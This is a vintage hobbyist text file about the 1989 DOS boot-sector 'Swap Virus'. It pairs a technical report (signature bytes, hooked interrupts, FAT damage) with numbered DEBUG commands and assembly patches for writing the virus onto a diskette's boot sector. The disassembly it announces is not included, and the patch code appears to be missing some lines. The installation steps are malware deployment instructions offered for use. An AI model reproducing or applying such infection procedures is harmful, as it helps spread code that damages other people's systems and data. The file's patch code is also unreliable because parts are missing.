hi....
This is the swap virus that i've told u about..
cheers,

This text is divided into theree parts:
1) A report about the Swap Virus.
2) A disassembly of the Swap Virus.
3) How to install this virus?
-------------------------------------------------------------------------------
R E P O R T
-------------------------------------------------------------------------------
Virus Name..............: The Swap Virus
Attacks.................: Floppy-disks only
Virus Detection when....: June, 1989
at......: Israel
Length of virus.........: 1. The virus itself is 740 bytes.
2. 2048 bytes in RAM.
Operating system(s).....: PC/MS DOS version 2.0 or later
Identifications.........: A) Boot-sector:
1) Bytes from $16A in the boot sector are:
31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13
9A 00 01 00 20 E9 XX XX
2) The first three bytes in the boot sector are:
JMP 0196 (This is, if the boot sector was
loaded to CS:0).
B) FAT: Track 39 sectors 6-7 are marked as bad.
C) The message:
"The Swapping-Virus. (C) June, by the CIA"
is located in bytes 02B5-02E4 on track 39,
sector 7.
Type of infection.......: Stays in RAM, hooks int $8 and int $13.
A diskette is infected when it is inserted into the
drive and ANY command that reads or writes from/to
the diskette is executed. Hard disks are NOT infected!
Infection trigger.......: The virus starts to work after 10 minutes.
Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping)
$13 (Disk Drive - Infects!)
Damage..................: Track 39 sectors 6-7 will be marked as bad in the
FAT.
Damage trigger..........: The damage is done whenever a diskette is infected.
Particularities.........: A diskette will be infected only if track 39 sectors
6-7 are empty.

;The first thing I did, inorder to dis-assemble this virus, was un-assemling
;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler
;called ASMGEN to set all the labels and variables in the .ASM file. I then
;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM
;file that no command will be missing, added a few things and this is the
;result:

1) Cut the disassembly from this text.
2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and
link it but I think that there won't be any trouble using Turbo Assembler.
3) Use EXE2BIN or anything else inorded to make it a .COM file.
4) Format a diskette with the /S option inorder to put the operation system on
it (make sure you format it in 9 sectors per track format).
5) Enter DOS's DEBUG debugger and load the .COM file that you have created.
6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to
CS:0.
7) Put the diskette you want to infect in drive A.
8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on
track 39.
9) Type: L 0 0 0 1 this will load the boot sector into the memory.
10) Type: U 0 and remember the number after the JMP in offset 0.
11) Type: A 0
JMP 196 this will execute the virus each time the
diskette is booted.
12) Type: A 196
XOR AX,AX
INT 13
MOV AX,202

MOV DX,100
MOV BX,2000
MOV ES,BX
MOV BX,0

CALL 2000:0000

13) Now, save the boot sector by typing: W 0 0 0 1
That's it! The virus is now installed on your diskette!
